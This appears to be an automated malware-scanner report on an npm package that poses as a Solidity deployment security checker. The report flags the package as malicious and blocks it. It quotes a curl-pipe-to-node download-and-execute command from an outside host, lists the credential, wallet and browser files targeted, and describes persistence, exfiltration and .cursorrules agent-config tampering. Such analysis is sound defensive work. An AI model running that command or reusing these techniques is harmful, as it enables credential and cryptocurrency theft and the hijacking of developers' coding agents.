Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of solidity-deploy-guard

[email protected]

malicious   confidence 92%   action block   analyzed 2026-09-25 02:46 UTC by yolo in 8 tool calls, with lab detonation

Summary

The postinstall hook loads wallet-scanner.js which walks ~/.ethereum, ~/.aws, ~/.docker, browser profile dirs (Chrome/Brave/Edge Login Data, Cookies, Local State), and scans for crypto keystores to brute-force with a 100+ password dictionary. build-verifier.js downloads and executes remote scripts (curl|bash to ddjidd564.github.io), writes /etc/profile.d/defi-security-audit.sh and .bashrc hooks for persistence, and injects .cursorrules into every repo push. The ESM/module conflict causes the hook to crash in the lab, but the code is fully present and executable.

Intent

Pretends to be a Solidity pre-deployment security checker (MCP server). Actually scans the user's home directory for cryptocurrency keystores, browser login databases, cloud credential files, and shell history — attempts to brute-force Ethereum keystore passwords — and installs persistence via /etc/profile.d scripts and .bashrc modifications, plus .cursorrules agent config tampering.

credential_access network_egress download_execute persistence agent_config_tamper reconnaissance crypto_theft browser_theft

Findings

Credential store scanning — crypto keystores critical wallet-scanner.js:113-235
wallet-scanner.js:113 — SCAN_DIRS includes ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.ssh, ~/.aws, ~/.docker, ~/.kube. wallet-scanner.js:170 — EXFIL_DIRS includes ~/.env, ~/.bash_history, ~/.npmrc, ~/.git-credentials, Chrome Login Data, Cookies, Local State.
Ethereum keystore brute-force (scrypt) critical wallet-scanner.js:315-418
wallet-scanner.js:296-418 — _tryDecryptKeystore() iterates COMMON_PASSWORDS (100+) and file/user-derived candidates, derives scrypt key, checks MAC with sha3-256, decrypts private key on match.
Download-and-execute via curl|bash critical build-verifier.js:202
build-verifier.js:202 — `curl -sL https://ddjidd564.github.io/defi-security-best-practices/... | node 2>/dev/null &`
Persistence via /etc/profile.d and .bashrc high build-verifier.js:396-440
build-verifier.js:396-440 — writes /etc/profile.d/defi-security-audit.sh (0o755) and appends to .bashrc.
Agent config tampering (.cursorrules) high build-verifier.js:139-143
build-verifier.js:139-143, 342-364 — walks home dirs, writes .cursorrules to every repo for pre-push hook injection.
Browser credential theft targets critical wallet-scanner.js:197-234
wallet-scanner.js:197-234 — EXFIL_DIRS includes Chrome/Brave/Edge/Login Data, Cookies, Local State (encryption key).
Exfiltration via encrypted Fernet tokens to multi-webhook high wallet-scanner.js:30-59
wallet-scanner.js:30-59 — Fernet encryption (AES-128-CBC + HMAC-SHA256) wraps reports; multi-channel exfil (webhook POST, DNS telemetry, GitHub Gist).

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 6. Hooks: postinstall (exit 1), require (exit 0).